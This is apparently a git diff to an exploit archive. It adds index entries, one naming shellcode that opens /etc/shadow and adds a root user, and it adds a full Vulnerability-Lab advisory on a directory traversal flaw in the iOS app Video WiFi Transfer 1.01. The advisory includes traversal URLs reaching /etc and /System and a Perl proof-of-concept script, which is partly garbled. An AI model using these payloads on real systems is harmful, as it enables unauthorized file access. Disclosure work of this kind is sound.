Vulnerability",2014-04-04,"High-Tech Bridge SA",php,webapps,80 32702,platforms/hardware/dos/32702.txt,"A10 Networks ACOS 2.7.0-P2(build: 53) - Buffer Overflow",2014-04-04,"Francesco Perna",hardware,dos,80 32703,platforms/ios/webapps/32703.txt,"Private Photo+Video 1.1 Pro iOS - Persistent Vulnerability",2014-04-05,Vulnerability-Lab,ios,webapps,0 @@ -30456,7 +30456,7 @@ id,file,description,date,author,platform,type,port 33804,platforms/windows/dos/33804.pl,"Ubisoft Rayman Legends 1.2.103716 - Remote Stack Buffer Overflow Vulnerability",2014-06-18,LiquidWorm,windows,dos,0 33805,platforms/linux/remote/33805.pl,"AlienVault OSSIM < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution",2014-06-18,"Alfredo Ramirez",linux,remote,0 33807,platforms/multiple/remote/33807.rb,"Rocket Servergraph Admin Center fileRequestor Remote Code Execution",2014-06-18,metasploit,multiple,remote,8888 -33808,platforms/linux/local/33808.c,"docker 0.11 VMM-container Breakout",2014-06-18,"Sebastian Krahmer",linux,local,0 +33808,platforms/linux/local/33808.c,"docker 0.11 - VMM-Container Breakout",2014-06-18,"Sebastian Krahmer",linux,local,0 33809,platforms/php/webapps/33809.txt,"Cacti Superlinks Plugin 1.4-2 - SQL Injection",2014-06-18,Napsterakos,php,webapps,0 33810,platforms/osx/remote/33810.html,"Apple Safari for iPhone/iPod touch Malformed 'Throw' Exception Remote Code Execution Vulnerability",2010-03-26,"Nishant Das Patnaik",osx,remote,0 33811,platforms/osx/remote/33811.html,"Apple Safari iPhone/iPod touch Malformed Webpage Remote Code Execution Vulnerability",2010-03-26,"Nishant Das Patnaik",osx,remote,0 @@ -30860,3 +30860,11 @@ id,file,description,date,author,platform,type,port 34259,platforms/php/webapps/34259.txt,"Bitweaver 2.7 'fImg' Parameter Cross Site Scripting Vulnerability",2010-07-05,"John Leitch",php,webapps,0 34260,platforms/php/webapps/34260.txt,"odCMS 1.07 'archive.php' Cross Site Scripting Vulnerability",2010-07-05,"John Leitch",php,webapps,0 34261,platforms/multiple/dos/34261.txt,"Unreal Engine <= 2.5 'UpdateConnectingMessage()' Remote Stack Buffer Overflow Vulnerability",2010-07-06,"Luigi Auriemma",multiple,dos,0 +34262,platforms/linux/shellcode/34262.c,"Shellcode Linux x86 - chmod (777 /etc/passwd & /etc/shadow), Add New Root User (ALI/ALI) & Execute /bin/sh",2014-08-04,"Ali Razmjoo",linux,shellcode,0 +34263,platforms/ios/webapps/34263.txt,"Video WiFi Transfer 1.01 - Directory Traversal Vulnerability",2014-08-04,Vulnerability-Lab,ios,webapps,8080 +34264,platforms/ios/webapps/34264.txt,"FreeDisk v1.01 iOS - Multiple Vulnerabilities",2014-08-04,Vulnerability-Lab,ios,webapps,8080 +34265,platforms/php/webapps/34265.txt,"Exponent CMS 0.97 'slideshow.js.php' Cross Site Scripting Vulnerability",2010-07-07,"Andrei Rimsa Alvares",php,webapps,0 +34266,platforms/php/webapps/34266.txt,"RunCms 2.1 'check.php' Cross Site Scripting Vulnerability",2010-07-07,"Andrei Rimsa Alvares",php,webapps,0 +34267,platforms/linux/local/34267.sh,"Altair Engineering PBS Pro 10.x 'pbs_mom' Insecure Temporary File Creation Vulnerability",2010-07-07,"Bartlomiej Balcerek",linux,local,0 +34268,platforms/php/webapps/34268.txt,"Worxware DCP-Portal 7.0 Multiple Cross Site Scripting Vulnerabilities",2010-07-07,"Andrei Rimsa Alvares",php,webapps,0 +34269,platforms/php/webapps/34269.txt,"Pligg 1.0.4 'install1.php' Cross Site Scripting Vulnerability",2010-07-07,"Andrei Rimsa Alvares",php,webapps,0 diff --git a/platforms/ios/webapps/34263.txt b/platforms/ios/webapps/34263.txt new file mode 100755 index 000000000..51f17fbf9 --- /dev/null +++ b/platforms/ios/webapps/34263.txt @@ -0,0 +1,238 @@ +Document Title: +=============== +Video WiFi Transfer 1.01 - Directory Traversal Vulnerability + + +References (Source): +==================== +http://www.vulnerability-lab.com/get_content.php?id=1288 + + +Release Date: +============= +2014-08-02 + + +Vulnerability Laboratory ID (VL-ID): +==================================== +1288 + + +Common Vulnerability Scoring System: +==================================== +6.7 + + +Product & Service Introduction: +=============================== +Using this app, you can download videos to a PC or a smartphone from your iPhone through WiFi. The video downloaded can be played back +on PC and another smart phones as well as Mac and iPhone because the app converts it into a MP4 video. It only takes a few seconds for +the conversion. You would say it is the fastest. Just run the app on the iPhone and open the web browser on your PC or Android. That is +all that you are required to do. It is quite simple. In addition to the web browser, a ftp client application is also supported to +access the videos. Do not pay money for these functions as the app provides all of them without charging. + +(Copy of the Homepage: https://itunes.apple.com/de/app/video-wifi-transfer-mp4-conversion/id892132370 ) + + +Abstract Advisory Information: +============================== +The Vulnerability Laboratory Research Team discovered a Directory Traversal vulnerability in the official Bluefinger App Video WiFi Transfer/MP4 Conversion v1.01 iOS mobile application. + + +Vulnerability Disclosure Timeline: +================================== +2014-08-01: Public Disclosure (Vulnerability Laboratory) + + +Discovery Status: +================= +Published + + +Affected Product(s): +==================== +BlueFinger Apps +Product: Video WiFi Transfer/MP4 Conversion - iOS Mobile Web Application 1.01 + + +Exploitation Technique: +======================= +Remote + + +Severity Level: +=============== +High + + +Technical Details & Description: +================================ +A directory traversal web vulnerability has been discovered in the official BlueFinger Apps Video WiFi Transfer v1.01 iOS mobile application. +The vulnerability allows remote attackers to bypass the path restriction of a service to access sensitive app-, web-server or -device information. + +The vulnerability is located in the `ftp` (ftp://localhost:8080) service of the wifi `web-server` module. The issue allows an attacker to bypass +the regular `folder/path` validation mechnism to access sensitive app web-server or iOS -device information. The attack vector of the issue is on +the application-side of the service and to perform malicious request the `GET method` is required to use. + +After the start of the web-server by usage of the ftp function, the attacker is able to include 5 more path values (../../../../../) to access +unauthorized higher folders outside the mobile application service. In the analysis we saw that the path change of 5 directories is required +to bypass. During the tests we accessed the full app service folder and through the directory traversal to web-server configuration files but +also the parent device directory. + +The security risk of the directory traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) +count of 6.7. Exploitation of the path traversal web vulnerability requires no privileged web-application user account or user interaction. +Successful exploitation of the directory traversal vulnerability results in mobile application or connected device component compromise. + +Request Method(s): + [+] GET + +Vulnerable Module(s): + [+] Directory + +Vulnerable Parameter(s): + [+] path + +Affected Module(s): + [+] Parent Directory (ftp://localhost:8080/) + + +Note: The structure of the software is the same like in the official BlueFinger Apps `Photo` WiFi Transfer v1.01 iOS mobile application. +The same vulnerability is located in both mobile ios software of the bluefinger apps company. + + +Proof of Concept (PoC): +======================= +The directory traversal web vulnerability can be exploited by attackers without privileged application user account and user interaction. +For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. + +Exception: +50 /private/var/mobile/Applications/CFCEEF6E-AA35-42D6-84EC-BFB518F764B1/Documents/video/../../etc/passwd No such file or directory. + +Standard Request: +ftp://localhost:8080/../../Documents/ + +PoC: Links +ftp://localhost:8080/../../../../../../../../../../../../../../../../etc +ftp://localhost:8080/../../../../../../../../../../../../../../../../usr/ +ftp://localhost:8080/../../../../../../../../../../../../../../../../Applications/ +ftp://localhost:8080/../../../../../../../../../../../../../../../../System/ + + +Exploit: PoC (PL) +#!/usr/bin/perl +use LWP::Simple; +print "-------------------------------------------\n"; +print "-= Photo WiFi Transfer v1.0.1 - PoC Directory Traversal=-\n"; +print "-------------------------------------------\n\n"; + +print "Target(ftp://localhost:8080/)\> "; +chomp($targ = ); + +print "Path: (/fn25/)\>"; +chomp($path=); + +$url = "../../../../../../../../etc/"; +$page = get("http://".$targ.$path.$url) || die "[-] Unable to retrieve: $!"; +print "[+] Connected to: $page\n"; + + +Exploit: PoC (HTML) + + +